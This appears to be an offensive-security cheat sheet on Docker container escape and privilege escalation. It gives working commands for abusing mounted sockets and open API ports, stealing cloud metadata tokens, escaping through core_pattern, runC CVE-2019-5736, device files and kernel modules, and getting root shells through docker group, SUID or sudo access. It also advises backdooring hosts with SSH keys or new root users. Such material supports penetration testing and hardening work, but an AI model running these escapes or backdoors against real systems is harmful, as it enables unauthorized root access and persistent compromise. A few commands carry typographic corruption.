Docker
Related Sites:
Tools:
DockScan Dockscan is security vulnerability and audit scanner for Docker installations
dockscan unix:///var/run/docker.sock
dockscan -r html -o myreport -v tcp://example.com:5422
DeepCe Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE)
./deepce.sh
./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepce
./deepce.sh --no-enumeration --exploit SOCK --shadow
./deepce.sh --no-enumeration --exploit DOCKER --command "whoami>/tmp/hacked"
Docker is a set of platform as a service (PaaS) products that uses OS-level virtualization to deliver software in packages called containers.
Popping Docker
Mounted Docker Socket
Prerequisite: * Socket mounted as volume : -
"/var/run/docker.sock:/var/run/docker.sock"
Usually found in /var/run/docker.sock
, for example for Portainer.
curl --unix-socket /var/run/docker.sock http://127.0.0.1/containers/json
curl -XPOST –unix-socket /var/run/docker.sock -d '{"Image":"nginx"}' -H 'Content-Type: application/json' http://localhost/containers/create
curl -XPOST –unix-socket /var/run/docker.sock http://localhost/containers/ID_FROM_PREVIOUS_COMMAND/start
Exploit using brompwnie/ed
root@37bb034797d1:/tmp# ./ed_linux_amd64 -path=/var/run/ -autopwn=true
[+] Hunt dem Socks
[+] Hunting Down UNIX Domain Sockets from: /var/run/
[*] Valid Socket: /var/run/docker.sock
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to Autopwn: /var/run/docker.sock
[*] Getting Docker client...
[*] Successfully got Docker client...
[+] Attempting to escape to host...
[+] Attempting in TTY Mode
chroot /host && clear
echo 'You are now on the underlying host'
chroot /host && clear
echo 'You are now on the underlying host'
/ # chroot /host && clear
/ # echo 'You are now on the underlying host'
You are now on the underlying host
/ # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
Open Docker API Port
Prerequisite: * Docker run with -H tcp://0.0.0.0:XXXX
$ nmap -sCV 10.10.10.10 -p 2376
2376/tcp open docker Docker 19.03.5
| docker-version:
| Version: 19.03.5
| MinAPIVersion: 1.12
Mount the current system inside a new "temporary" Ubuntu container, you will gain root access to the filesystem in /mnt
.
$ export DOCKER_HOST=tcp://10.10.10.10:2376
$ docker run --name ubuntu_bash --rm -i -v /:/mnt -u 0 -t ubuntu bash
or
$ docker -H open.docker.socket:2375 ps
$ docker -H open.docker.socket:2375 exec -it mysql /bin/bash
or
$ curl -s –insecure https://tls-opendocker.socket:2376/secrets | jq
$ curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
From there you can backdoor the filesystem by adding an ssh key in /root/.ssh
or adding a new root user in /etc/passwd
.
Insecure Docker Registry
Docker Registry’s fingerprint is Docker-Distribution-Api-Version
header. Then connect to Registry API endpoint: /v2/_catalog
.
curl https://registry.example.com/v2/<image_name>/tags/list
docker pull https://registry.example.com:443/<image_name>:<tag>
# connect to the endpoint and list image blobs
curl -s -k --user "admin:admin" https://docker.registry.local/v2/_catalog
curl -s -k --user "admin:admin" https://docker.registry.local/v2/wordpress-image/tags/list
curl -s -k --user "admin:admin" https://docker.registry.local/v2/wordpress-image/manifests/latest
# download blobs
curl -s -k --user 'admin:admin' 'http://docker.registry.local/v2/wordpress-image/blobs/sha256:c314c5effb61c9e9c534c81a6970590ef4697b8439ec6bb4ab277833f7315058' > out.tar.gz
# automated download
https://github.com/NotSoSecure/docker_fetch/
python /opt/docker_fetch/docker_image_fetch.py -u http://admin:admin@docker.registry.local
Access a private registry and start a container with one of its image
docker login -u admin -p admin docker.registry.local
docker pull docker.registry.local/wordpress-image
docker run -it docker.registry.local/wordpress-image /bin/bash
Access a private registry using OAuth Token from Google
curl http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/email
curl -s http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
docker login -e <email> -u oauth2accesstoken -p "<access token>" https://gcr.io
Exploit privileged container abusing the Linux cgroup v1
Prerequisite (at least one): --privileged
--security-opt apparmor=unconfined --cap-add=SYS_ADMIN
flags.
Abusing CAP_SYS_ADMIN capability
Find the mounting point using
mount
$ mount | head -n 1
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/YLH6C6EQMMG7DA2AL5DUANDHYJ:/var/lib/docker/overlay2/l/HP7XLDFT4ERSCYVHJ2WMZBG2YT,upperdir=/var/lib/docker/overlay2/c51a87501842b287018d22e9d09d7d8dc4ede83a867f36ca199434d5ea5ac8f5/diff,workdir=/var/lib/docker/overlay2/c51a87501842b287018d22e9d09d7d8dc4ede83a867f36ca199434d5ea5ac8f5/work)
Create an evil binary at the root of the filesystem:
cp /tmp/poc /poc
Set the program to be executed on the coredumps
echo "|/var/lib/docker/overlay2/c51a87501842b287018d22e9d09d7d8dc4ede83a867f36ca199434d5ea5ac8f5/diff/poc" > /proc/sys/kernel/core_pattern
Generate a coredump with a faulty program:
gcc -o crash crash.c && ./crash
int main(void) {
char buf[1];
for (int i = 0; i < 100; i++) {
buf[i] = 1;
}
return 0;
}
Your payload should have been executed on the host.
Breaking out of Docker via runC
The vulnerability allows a malicious container to (with minimal user interaction) overwrite the host runc binary and thus gain root-level code execution on the host. The level of user interaction is being able to run any command ... as root within a container in either of these contexts: Creating a new container using an attacker-controlled image. Attaching (docker exec) into an existing container which the attacker had previous write access to. - Vulnerability overview by the runC team
Exploit for CVE-2019-5736 : https://github.com/twistlock/RunC-CVE-2019-5736
$ docker build -t cve-2019-5736:malicious_image_POC ./RunC-CVE-2019-5736/malicious_image_POC
$ docker run --rm cve-2019-5736:malicious_image_POC
Breaking out of containers using a device file
https://github.com/FSecureLABS/fdpasser
In container, as root: ./fdpasser recv /moo /etc/shadow
Outside container, as UID 1000: ./fdpasser send /proc/$(pgrep -f "sleep 1337")/root/moo
Outside container: ls -la /etc/shadow
Output: -rwsrwsrwx 1 root shadow 1209 Oct 10 2019 /etc/shadow
Breaking out of Docker via kernel modules loading
When privileged Linux containers attempt to load kernel modules, the modules are loaded into the host's kernel (because there is only one kernel, unlike VMs). This provides a route to an easy container escape.
Exploitation: Clone the repository : git clone https://github.com/xcellerator/linux_kernel_hacking/tree/master/3_RootkitTechniques/3.8_privileged_container_escaping
Build with make
Start a privileged docker container with docker run -it --privileged --hostname docker --mount "type=bind,src=$PWD,dst=/root" ubuntu
cd /root
in the new container Insert the kernel module with ./escape
Run ./execute
!
Unlike other techniques, this module doesn't contain any syscalls hooks, but merely creates two new proc files; /proc/escape
and /proc/output
.
/proc/escape
only answers to write requests and simply executes anything that's passed to it viacall_usermodehelper()
./proc/output
just takes input and stores it in a buffer when written to, then returns that buffer when it's read from - essentially acting a like a file that both the container and the host can read/write to.
The clever part is that anything we write to /proc/escape
gets sandwiched into /bin/sh -c <INPUT> > /proc/output
. This means that the command is run under /bin/sh
and the output is redirected to /proc/output
, which we can then read from within the container.
Once the module is loaded, you can simply echo "cat /etc/passwd" > /proc/escape
and then get the result via cat /proc/output
. Alternatively, you can use the execute
program to give yourself a makeshift shell (albeit an extraordinarily basic one).
The only caveat is that we cannot be sure that the container has kmod
installed (which provides insmod
and rmmod
). To overcome this, after building the kernel module, we load it's byte array into a C program, which then uses the init_module()
syscall to load the module into the kernel without needing insmod
. If you're interested, take a look at the Makefile.
Escaping from a Docker Environment.
Running linpeas or other script to identify vulnerabilities if there is evidence of being in a docker environment, or being able to run docker, or being a member of the docker group we can check:
If we have a shell it can be used to break out from restricted environments by spawning an interactive system shell. The resulting is a root shell.
The first thing to check are the docker images that we can use:
$ docker images

Shell
In this example the bash image identified above will be used. We can break out of the shell with:
$ docker run -v /:/mnt --rm -it bash chroot /mnt sh

And we are able to successfully escape and are root
File Write
It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.
Write a file by copying it to a temporary container and back to the target destination on the host:
CONTAINER_ID="$(docker run -d alpine)" # or existing
TF=$(mktemp)
echo "DATA" > $TF
docker cp $TF $CONTAINER_ID:$TF
docker cp $CONTAINER_ID:$TF file_to_write
File Read
It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.
Read a file by copying it to a temporary container and back to a new location on the host.
CONTAINER_ID="$(docker run -d alpine)" # or existing
TF=$(mktemp)
docker cp file_to_read $CONTAINER_ID:$TF
docker cp $CONTAINER_ID:$TF $TF
cat $TF
SUID
If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run sh -p
, omit the -p
argument on systems like Debian (<= Stretch) that allow the default sh
shell to run with SUID privileges.
This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.
The resulting is a root shell.
sudo install -m =xs $(which docker) .
./docker run -v /:/mnt --rm -it alpine chroot /mnt sh
SUDO
If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
The resulting is a root shell.
sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Last updated